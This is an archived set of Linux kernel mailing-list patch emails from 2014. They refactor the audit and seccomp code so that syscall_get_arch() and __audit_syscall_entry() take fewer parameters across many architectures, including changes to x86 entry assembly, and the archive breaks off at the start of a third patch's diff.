NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1394054963 8311 80.91.229.3 (5 Mar 2014 21:29:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2014 21:29:23 +0000 (UTC)
Cc: Richard Guy Briggs <rgb@redhat.com>, eparis@redhat.com,
	sgrubb@redhat.com, oleg@redhat.com,
	linux-arm-kernel@lists.infradead.org, x86@kernel.org,
	linux-ia64@vger.kernel.org, microblaze-uclinux@itee.uq.edu.au,
	linux-mips@linux-mips.org, linux@openrisc.net,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arch@vger.kernel.org
To: linux-audit@redhat.com, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 05 22:29:28 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WLJNY-0006Id-86
	for glk-linux-kernel-3@plane.gmane.org; Wed, 05 Mar 2014 22:29:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757751AbaCEV3W (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 5 Mar 2014 16:29:22 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:54620 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757709AbaCEV3S (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 5 Mar 2014 16:29:18 -0500
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25LSZMN029423
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 5 Mar 2014 16:28:35 -0500
Original-Received: from madcap2.tricolour.ca (vpn-49-50.rdu2.redhat.com [10.10.49.50])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25LRupI018777;
	Wed, 5 Mar 2014 16:28:29 -0500
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
Original-References: <cover.1393974970.git.rgb@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1661232 gmane.linux.redhat.security.audit:6001 gmane.linux.ports.arm.kernel:307106 gmane.linux.ports.ia64:23661 gmane.linux.ports.mips.general:40565 gmane.linux.ports.openrisc:431 gmane.linux.ports.parisc:5726 gmane.linux.ports.ppc64.devel:99956 gmane.linux.ports.sh.devel:33105 gmane.linux.ports.sparc:18750 gmane.linux.uml.devel:14383 gmane.linux.kernel.cross-arch:21960
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1661232>

Since all callers of syscall_get_arch() call with task "current" and none of
the arch-dependent functions use the "regs" parameter (which could just as
easily be found with task_pt_regs()), delete both parameters.

Signed-off-by: Richard Guy Briggs <rgb@redhat.com>

---
 arch/arm/include/asm/syscall.h        |    3 +--
 arch/ia64/include/asm/syscall.h       |    3 +--
 arch/microblaze/include/asm/syscall.h |    3 +--
 arch/mips/include/asm/syscall.h       |    8 +-------
 arch/openrisc/include/asm/syscall.h   |    3 +--
 arch/parisc/include/asm/syscall.h     |    3 +--
 arch/powerpc/include/asm/syscall.h    |    3 +--
 arch/s390/include/asm/syscall.h       |    5 ++---
 arch/sh/include/asm/syscall.h         |    3 +--
 arch/sparc/include/asm/syscall.h      |    3 +--
 arch/x86/include/asm/syscall.h        |    8 +++-----
 include/asm-generic/syscall.h         |    6 ++----
 include/linux/audit.h                 |    2 +-
 kernel/auditsc.c                      |    5 ++---
 kernel/seccomp.c                      |    4 ++--
 15 files changed, 21 insertions(+), 41 deletions(-)

diff --git a/arch/arm/include/asm/syscall.h b/arch/arm/include/asm/syscall.h
index a749123..4651f69 100644
--- a/arch/arm/include/asm/syscall.h
+++ b/arch/arm/include/asm/syscall.h
@@ -103,8 +103,7 @@ static inline void syscall_set_arguments(struct task_struct *task,
 	memcpy(&regs->ARM_r0 + i, args, n * sizeof(args[0]));
 }
 
-static inline int syscall_get_arch(struct task_struct *task,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 	/* ARM tasks don't change audit architectures on the fly. */
 	return AUDIT_ARCH_ARM;
diff --git a/arch/ia64/include/asm/syscall.h b/arch/ia64/include/asm/syscall.h
index 9c82767..1ae443a 100644
--- a/arch/ia64/include/asm/syscall.h
+++ b/arch/ia64/include/asm/syscall.h
@@ -81,8 +81,7 @@ static inline void syscall_set_arguments(struct task_struct *task,
 	ia64_syscall_get_set_arguments(task, regs, i, n, args, 1);
 }
 
-static inline int syscall_get_arch(struct task_struct *tsk,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 	return AUDIT_ARCH_IA64;
 }
diff --git a/arch/microblaze/include/asm/syscall.h b/arch/microblaze/include/asm/syscall.h
index e1acf8a..5292281 100644
--- a/arch/microblaze/include/asm/syscall.h
+++ b/arch/microblaze/include/asm/syscall.h
@@ -100,8 +100,7 @@ static inline void syscall_set_arguments(struct task_struct *task,
 asmlinkage long do_syscall_trace_enter(struct pt_regs *regs);
 asmlinkage void do_syscall_trace_leave(struct pt_regs *regs);
 
-static inline int syscall_get_arch(struct tast_struct *tsk,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 	return AUDIT_ARCH_MICROBLAZE;
 }
diff --git a/arch/mips/include/asm/syscall.h b/arch/mips/include/asm/syscall.h
index a8234f2..992b6ab 100644
--- a/arch/mips/include/asm/syscall.h
+++ b/arch/mips/include/asm/syscall.h
@@ -101,7 +101,7 @@ extern const unsigned long sys_call_table[];
 extern const unsigned long sys32_call_table[];
 extern const unsigned long sysn32_call_table[];
 
-static inline int __syscall_get_arch(void)
+static inline int syscall_get_arch(void)
 {
 	int arch = AUDIT_ARCH_MIPS;
 #ifdef CONFIG_64BIT
@@ -113,10 +113,4 @@ static inline int __syscall_get_arch(void)
 	return arch;
 }
 
-static inline int syscall_get_arch(struct task_struct *task,
-				   struct pt_regs *regs)
-{
-	return __syscall_get_arch();
-}
-
 #endif	/* __ASM_MIPS_SYSCALL_H */
diff --git a/arch/openrisc/include/asm/syscall.h b/arch/openrisc/include/asm/syscall.h
index 2bbe0e9..e598095 100644
--- a/arch/openrisc/include/asm/syscall.h
+++ b/arch/openrisc/include/asm/syscall.h
@@ -72,8 +72,7 @@ syscall_set_arguments(struct task_struct *task, struct pt_regs *regs,
 	memcpy(&regs->gpr[3 + i], args, n * sizeof(args[0]));
 }
 
-static inline int syscall_get_arch(struct task_struct *tsk,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 	return AUDIT_ARCH_OPENRISC;
 }
diff --git a/arch/parisc/include/asm/syscall.h b/arch/parisc/include/asm/syscall.h
index 2bf23b1..87cc53d 100644
--- a/arch/parisc/include/asm/syscall.h
+++ b/arch/parisc/include/asm/syscall.h
@@ -39,8 +39,7 @@ static inline void syscall_get_arguments(struct task_struct *tsk,
 	}
 }
 
-static inline int syscall_get_arch(struct task_struct *tsk,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 	int arch = AUDIT_ARCH_PARISC;
 #ifdef CONFIG_64BIT
diff --git a/arch/powerpc/include/asm/syscall.h b/arch/powerpc/include/asm/syscall.h
index 36bd9ef..616705b 100644
--- a/arch/powerpc/include/asm/syscall.h
+++ b/arch/powerpc/include/asm/syscall.h
@@ -88,8 +88,7 @@ static inline void syscall_set_arguments(struct task_struct *task,
 	memcpy(&regs->gpr[3 + i], args, n * sizeof(args[0]));
 }
 
-static inline int syscall_get_arch(struct task_struct *tsk,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 	int arch = AUDIT_ARCH_PPC;
 
diff --git a/arch/s390/include/asm/syscall.h b/arch/s390/include/asm/syscall.h
index 79d1805..32cd7f7 100644
--- a/arch/s390/include/asm/syscall.h
+++ b/arch/s390/include/asm/syscall.h
@@ -89,11 +89,10 @@ static inline void syscall_set_arguments(struct task_struct *task,
 		regs->orig_gpr2 = args[0];
 }
 
-static inline int syscall_get_arch(struct task_struct *task,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 #ifdef CONFIG_COMPAT
-	if (test_tsk_thread_flag(task, TIF_31BIT))
+	if (test_thread_flag(TIF_31BIT))
 		return AUDIT_ARCH_S390;
 #endif
 	return sizeof(long) == 8 ? AUDIT_ARCH_S390X : AUDIT_ARCH_S390;
diff --git a/arch/sh/include/asm/syscall.h b/arch/sh/include/asm/syscall.h
index 33e60e0..aac9800 100644
--- a/arch/sh/include/asm/syscall.h
+++ b/arch/sh/include/asm/syscall.h
@@ -11,8 +11,7 @@ extern const unsigned long sys_call_table[];
 
 # include <uapi/linux/audit.h>
 
-static inline int syscall_get_arch(struct task_struct *tsk,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 	int arch = AUDIT_ARCH_SH;
 
diff --git a/arch/sparc/include/asm/syscall.h b/arch/sparc/include/asm/syscall.h
index eddc60e..82b5b96 100644
--- a/arch/sparc/include/asm/syscall.h
+++ b/arch/sparc/include/asm/syscall.h
@@ -125,8 +125,7 @@ static inline void syscall_set_arguments(struct task_struct *task,
 		regs->u_regs[UREG_I0 + i + j] = args[j];
 }
 
-static inline int syscall_get_arch(struct task_struct *tsk,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 	return test_thread_flag(TIF_32BIT) ? AUDIT_ARCH_SPARC
 					   : AUDIT_ARCH_SPARC64;
diff --git a/arch/x86/include/asm/syscall.h b/arch/x86/include/asm/syscall.h
index c98e0ec..d6a756a 100644
--- a/arch/x86/include/asm/syscall.h
+++ b/arch/x86/include/asm/syscall.h
@@ -91,8 +91,7 @@ static inline void syscall_set_arguments(struct task_struct *task,
 	memcpy(&regs->bx + i, args, n * sizeof(args[0]));
 }
 
-static inline int syscall_get_arch(struct task_struct *task,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 	return AUDIT_ARCH_I386;
 }
@@ -221,8 +220,7 @@ static inline void syscall_set_arguments(struct task_struct *task,
 		}
 }
 
-static inline int syscall_get_arch(struct task_struct *task,
-				   struct pt_regs *regs)
+static inline int syscall_get_arch(void)
 {
 #ifdef CONFIG_IA32_EMULATION
 	/*
@@ -234,7 +232,7 @@ static inline int syscall_get_arch(struct task_struct *task,
 	 *
 	 * x32 tasks should be considered AUDIT_ARCH_X86_64.
 	 */
-	if (task_thread_info(task)->status & TS_COMPAT)
+	if (task_thread_info(current)->status & TS_COMPAT)
 		return AUDIT_ARCH_I386;
 #endif
 	/* Both x32 and x86_64 are considered "64-bit". */
diff --git a/include/asm-generic/syscall.h b/include/asm-generic/syscall.h
index 5b09392..0c938a4 100644
--- a/include/asm-generic/syscall.h
+++ b/include/asm-generic/syscall.h
@@ -144,16 +144,14 @@ void syscall_set_arguments(struct task_struct *task, struct pt_regs *regs,
 
 /**
  * syscall_get_arch - return the AUDIT_ARCH for the current system call
- * @task:	task of interest, must be in system call entry tracing
- * @regs:	task_pt_regs() of @task
  *
  * Returns the AUDIT_ARCH_* based on the system call convention in use.
  *
- * It's only valid to call this when @task is stopped on entry to a system
+ * It's only valid to call this when current is stopped on entry to a system
  * call, due to %TIF_SYSCALL_TRACE, %TIF_SYSCALL_AUDIT, or %TIF_SECCOMP.
  *
  * Architectures which permit CONFIG_HAVE_ARCH_SECCOMP_FILTER must
  * provide an implementation of this.
  */
-int syscall_get_arch(struct task_struct *task, struct pt_regs *regs);
+int syscall_get_arch(void);
 #endif	/* _ASM_SYSCALL_H */
diff --git a/include/linux/audit.h b/include/linux/audit.h
index 0e63eb1..ee452f1 100644
--- a/include/linux/audit.h
+++ b/include/linux/audit.h
@@ -133,7 +133,7 @@ static inline void audit_syscall_entry(int major, unsigned long a0,
 				       unsigned long a3)
 {
 	if (unlikely(current->audit_context))
-		__audit_syscall_entry(syscall_get_arch(current, NULL), major, a0, a1, a2, a3);
+		__audit_syscall_entry(syscall_get_arch(), major, a0, a1, a2, a3);
 }
 static inline void audit_syscall_exit(void *pt_regs)
 {
diff --git a/kernel/auditsc.c b/kernel/auditsc.c
index 0c9fe06..565f7b7 100644
--- a/kernel/auditsc.c
+++ b/kernel/auditsc.c
@@ -1461,7 +1461,7 @@ void __audit_syscall_entry(int arch, int major,
 	if (!audit_enabled)
 		return;
 
-	context->arch	    = syscall_get_arch(current, NULL);
+	context->arch	    = syscall_get_arch();
 	context->major      = major;
 	context->argv[0]    = a1;
 	context->argv[1]    = a2;
@@ -2416,8 +2416,7 @@ void __audit_seccomp(unsigned long syscall, long signr, int code)
 		return;
 	audit_log_task(ab);
 	audit_log_format(ab, " sig=%ld", signr);
-	audit_log_format(ab, " arch=%x",
-			 syscall_get_arch(current, task_pt_regs(current)));
+	audit_log_format(ab, " arch=%x", syscall_get_arch());
 	audit_log_format(ab, " syscall=%ld", syscall);
 	audit_log_format(ab, " compat=%d", is_compat_task());
 	audit_log_format(ab, " ip=0x%lx", KSTK_EIP(current));
diff --git a/kernel/seccomp.c b/kernel/seccomp.c
index b7a1004..eda2da3 100644
--- a/kernel/seccomp.c
+++ b/kernel/seccomp.c
@@ -95,7 +95,7 @@ u32 seccomp_bpf_load(int off)
 	if (off == BPF_DATA(nr))
 		return syscall_get_nr(current, regs);
 	if (off == BPF_DATA(arch))
-		return syscall_get_arch(current, regs);
+		return syscall_get_arch();
 	if (off >= BPF_DATA(args[0]) && off < BPF_DATA(args[6])) {
 		unsigned long value;
 		int arg = (off - BPF_DATA(args[0])) / sizeof(u64);
@@ -351,7 +351,7 @@ static void seccomp_send_sigsys(int syscall, int reason)
 	info.si_code = SYS_SECCOMP;
 	info.si_call_addr = (void __user *)KSTK_EIP(current);
 	info.si_errno = reason;
-	info.si_arch = syscall_get_arch(current, task_pt_regs(current));
+	info.si_arch = syscall_get_arch();
 	info.si_syscall = syscall;
 	force_sig_info(SIGSYS, &info, current);
 }
-- 
1.7.1


From - Thu Nov 08 21:10:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Guy Briggs <rgb@redhat.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.redhat.security.audit,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel
Subject: [PATCH 6/6][RFC] audit: drop arch from __audit_syscall_entry() interface
Date: Wed,  5 Mar 2014 16:27:07 -0500
Lines: 136
Approved: news@gmane.org
Message-ID: <fdcaea27c06177b1d5a23b08e42c5e68bbdc8e76.1393974970.git.rgb@redhat.com>
References: <cover.1393974970.git.rgb@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1394054994 8645 80.91.229.3 (5 Mar 2014 21:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2014 21:29:54 +0000 (UTC)
Cc: Richard Guy Briggs <rgb@redhat.com>, eparis@redhat.com,
	sgrubb@redhat.com, oleg@redhat.com,
	linux-arm-kernel@lists.infradead.org, x86@kernel.org,
	linux-ia64@vger.kernel.org, microblaze-uclinux@itee.uq.edu.au,
	linux-mips@linux-mips.org, linux@openrisc.net,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arch@vger.kernel.org, tglx@linutronix.de, mingo@redhat.com,
	hpa@zytor.com, rostedt@goodmis.org, peterz@infradead.org
To: linux-audit@redhat.com, linux-kernel@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Mar 05 22:30:00 2014
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1WLJO0-0006nc-MS
	for glka-linux-arch@plane.gmane.org; Wed, 05 Mar 2014 22:29:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757810AbaCEV3x (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 5 Mar 2014 16:29:53 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:31590 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757791AbaCEV3v (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 5 Mar 2014 16:29:51 -0500
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25LSkdB010987
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 5 Mar 2014 16:28:46 -0500
Original-Received: from madcap2.tricolour.ca (vpn-49-50.rdu2.redhat.com [10.10.49.50])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25LRupJ018777;
	Wed, 5 Mar 2014 16:28:36 -0500
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
Original-References: <cover.1393974970.git.rgb@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:21961 gmane.linux.redhat.security.audit:6002 gmane.linux.kernel:1661233 gmane.linux.ports.arm.kernel:307107 gmane.linux.ports.ia64:23662 gmane.linux.ports.mips.general:40566 gmane.linux.ports.openrisc:432 gmane.linux.ports.parisc:5727 gmane.linux.ports.ppc64.devel:99957 gmane.linux.ports.sh.devel:33106 gmane.linux.ports.sparc:18751 gmane.linux.uml.devel:14384
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/21961>

Since arch is found locally in __audit_syscall_entry(), there is no need to
pass it in as a parameter.  Delete it from the parameter list.

x86* was the only arch to call __audit_syscall_entry() directly and did so from
assembly code.

Signed-off-by: Richard Guy Briggs <rgb@redhat.com>

---
Can I get some constructive scrutiny from the x86 asm guys here?  It has been a
long time since I've played with x86 assembly code (and never x86_64).  I've
done automated build/regression tests on i686 and x86_64, and I've done manual
tests on an x86_64 virtual machine and everything appears to work fine.  Thanks!

 arch/x86/ia32/ia32entry.S  |   12 ++++++------
 arch/x86/kernel/entry_32.S |   11 +++++------
 arch/x86/kernel/entry_64.S |   11 +++++------
 include/linux/audit.h      |    7 ++-----
 kernel/auditsc.c           |    2 +-
 5 files changed, 19 insertions(+), 24 deletions(-)

diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S
index 4299eb0..f5bdd28 100644
--- a/arch/x86/ia32/ia32entry.S
+++ b/arch/x86/ia32/ia32entry.S
@@ -186,12 +186,12 @@ sysexit_from_sys_call:
 
 #ifdef CONFIG_AUDITSYSCALL
 	.macro auditsys_entry_common
-	movl %esi,%r9d			/* 6th arg: 4th syscall arg */
-	movl %edx,%r8d			/* 5th arg: 3rd syscall arg */
-	/* (already in %ecx)		   4th arg: 2nd syscall arg */
-	movl %ebx,%edx			/* 3rd arg: 1st syscall arg */
-	movl %eax,%esi			/* 2nd arg: syscall number */
-	movl $AUDIT_ARCH_I386,%edi	/* 1st arg: audit arch */
+	movl %esi,%r8d			/* 5th arg: 4th syscall arg */
+	movl %ecx,%r9d			/*swap with edx*/
+	movl %edx,%ecx			/* 4th arg: 3rd syscall arg */
+	movl %r9d,%edx			/* 3rd arg: 2nd syscall arg */
+	movl %ebx,%esi			/* 2nd arg: 1st syscall arg */
+	movl %eax,%edi			/* 1st arg: syscall number */
 	call __audit_syscall_entry
 	movl RAX-ARGOFFSET(%rsp),%eax	/* reload syscall number */
 	cmpq $(IA32_NR_syscalls-1),%rax
diff --git a/arch/x86/kernel/entry_32.S b/arch/x86/kernel/entry_32.S
index a2a4f46..078053e 100644
--- a/arch/x86/kernel/entry_32.S
+++ b/arch/x86/kernel/entry_32.S
@@ -456,12 +456,11 @@ sysenter_audit:
 	jnz syscall_trace_entry
 	addl $4,%esp
 	CFI_ADJUST_CFA_OFFSET -4
-	/* %esi already in 8(%esp)	   6th arg: 4th syscall arg */
-	/* %edx already in 4(%esp)	   5th arg: 3rd syscall arg */
-	/* %ecx already in 0(%esp)	   4th arg: 2nd syscall arg */
-	movl %ebx,%ecx			/* 3rd arg: 1st syscall arg */
-	movl %eax,%edx			/* 2nd arg: syscall number */
-	movl $AUDIT_ARCH_I386,%eax	/* 1st arg: audit arch */
+	movl %esi,4(%esp)		/* 5th arg: 4th syscall arg */
+	movl %edx,(%esp)		/* 4th arg: 3rd syscall arg */
+	/* %ecx already in %ecx		   3rd arg: 2nd syscall arg */
+	movl %ebx,%edx			/* 2nd arg: 1st syscall arg */
+	/* %eax already in %eax		   1st arg: syscall number */
 	call __audit_syscall_entry
 	pushl_cfi %ebx
 	movl PT_EAX(%esp),%eax		/* reload syscall number */
diff --git a/arch/x86/kernel/entry_64.S b/arch/x86/kernel/entry_64.S
index 1e96c36..8292ff7 100644
--- a/arch/x86/kernel/entry_64.S
+++ b/arch/x86/kernel/entry_64.S
@@ -694,12 +694,11 @@ badsys:
 	 * jump back to the normal fast path.
 	 */
 auditsys:
-	movq %r10,%r9			/* 6th arg: 4th syscall arg */
-	movq %rdx,%r8			/* 5th arg: 3rd syscall arg */
-	movq %rsi,%rcx			/* 4th arg: 2nd syscall arg */
-	movq %rdi,%rdx			/* 3rd arg: 1st syscall arg */
-	movq %rax,%rsi			/* 2nd arg: syscall number */
-	movl $AUDIT_ARCH_X86_64,%edi	/* 1st arg: audit arch */
+	movq %r10,%r8			/* 5th arg: 4th syscall arg */
+	movq %rdx,%rcx			/* 4th arg: 3rd syscall arg */
+	movq %rsi,%rdx			/* 3rd arg: 2nd syscall arg */
+	movq %rdi,%rsi			/* 2nd arg: 1st syscall arg */
+	movq %rax,%rdi			/* 1st arg: syscall number */
 	call __audit_syscall_entry
 	LOAD_ARGS 0		/* reload call-clobbered registers */
 	jmp system_call_fastpath
diff --git a/include/linux/audit.h b/include/linux/audit.h
index ee452f1..278bc9d 100644
--- a/include/linux/audit.h
+++ b/include/linux/audit.h
@@ -27,8 +27,6 @@
 #include <linux/ptrace.h>
 #include <uapi/linux/audit.h>
 
-#include <asm/syscall.h>
-
 struct audit_sig_info {
 	uid_t		uid;
 	pid_t		pid;
@@ -100,8 +98,7 @@ extern void audit_log_session_info(struct audit_buffer *ab);
 				/* Public API */
 extern int  audit_alloc(struct task_struct *task);
 extern void __audit_free(struct task_struct *task);
-extern void __audit_syscall_entry(int arch,
-				  int major, unsigned long a0, unsigned long a1,
+extern void __audit_syscall_entry(int major, unsigned long a0, unsigned long a1,
 				  unsigned long a2, unsigned long a3);
 extern void __audit_syscall_exit(int ret_success, long ret_value);
 extern struct filename *__audit_reusename(const __user char *uptr);
@@ -133,7 +130,7 @@ static inline void audit_syscall_entry(int major, unsigned long a0,
 				       unsigned long a3)
 {
 	if (unlikely(current->audit_context))
-		__audit_syscall_entry(syscall_get_arch(), major, a0, a1, a2, a3);
+		__audit_syscall_entry(major, a0, a1, a2, a3);
 }
 static inline void audit_syscall_exit(void *pt_regs)
 {
diff --git a/kernel/auditsc.c b/kernel/auditsc.c
index 565f7b7..a4e4447 100644
--- a/kernel/auditsc.c
+++ b/kernel/auditsc.c
@@ -1445,7 +1445,7 @@ void __audit_free(struct task_struct *tsk)
  * will only be written if another part of the kernel requests that it
  * be written).
  */
-void __audit_syscall_entry(int arch, int major,
+void __audit_syscall_entry(int major,
 			 unsigned long a1, unsigned long a2,
 			 unsigned long a3, unsigned long a4)
 {
-- 
1.7.1


From - Thu Nov 08 21:10:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Paris <eparis@redhat.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.redhat.security.audit,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 3/4] ARCH: AUDIT: implement syscall_get_arch for all arches
Date: Wed, 19 Mar 2014 18:04:02 -0400
Lines: 202
Approved: news@gmane.org
Message-ID: <1395266643-3139-3-git-send-email-eparis@redhat.com>
References: <1395266643-3139-1-git-send-email-eparis@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1395266668 23556 80.91.229.3 (19 Mar 2014 22:04:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Mar 2014 22:04:28 +0000 (UTC)
Cc: Eric Paris <eparis@redhat.com>, linux-ia64@vger.kernel.org,
	microblaze-uclinux@itee.uq.edu.au, linux-mips@linux-mips.org,
	linux@openrisc.net, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org
To: linux-audit@redhat.com
Original-X-From: sparclinux-owner@vger.kernel.org Wed Mar 19 23:04:36 2014
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1WQObC-0008A8-WC
	for lnx-sparclinux@plane.gmane.org; Wed, 19 Mar 2014 23:04:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755296AbaCSWEd (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 19 Mar 2014 18:04:33 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:60301 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752794AbaCSWEc (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Wed, 19 Mar 2014 18:04:32 -0400
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2JM4Kq9007771
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 19 Mar 2014 18:04:21 -0400
Original-Received: from paris.rdu.redhat.com (paris.rdu.redhat.com [10.13.136.28])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2JM4Bpa016082;
	Wed, 19 Mar 2014 18:04:17 -0400
In-Reply-To: <1395266643-3139-1-git-send-email-eparis@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:18776 gmane.linux.redhat.security.audit:6084 gmane.linux.ports.ia64:23701 gmane.linux.ports.mips.general:40654 gmane.linux.ports.openrisc:435 gmane.linux.ports.parisc:5729 gmane.linux.ports.ppc64.devel:100269
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/18776>

For all arches which support audit implement syscall_get_arch()
They are all pretty easy and straight forward, stolen from how the call
to audit_syscall_entry() determines the arch.

Signed-off-by: Eric Paris <eparis@redhat.com>
Cc: linux-ia64@vger.kernel.org
Cc: microblaze-uclinux@itee.uq.edu.au
Cc: linux-mips@linux-mips.org
Cc: linux@lists.openrisc.net
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
---
 arch/ia64/include/asm/syscall.h       |  6 ++++++
 arch/microblaze/include/asm/syscall.h |  5 +++++
 arch/mips/include/asm/syscall.h       |  2 +-
 arch/openrisc/include/asm/syscall.h   |  5 +++++
 arch/parisc/include/asm/syscall.h     | 11 +++++++++++
 arch/powerpc/include/asm/syscall.h    | 12 ++++++++++++
 arch/sparc/include/asm/syscall.h      |  8 ++++++++
 include/uapi/linux/audit.h            |  1 +
 8 files changed, 49 insertions(+), 1 deletion(-)

diff --git a/arch/ia64/include/asm/syscall.h b/arch/ia64/include/asm/syscall.h
index a7ff1c6..1d0b875 100644
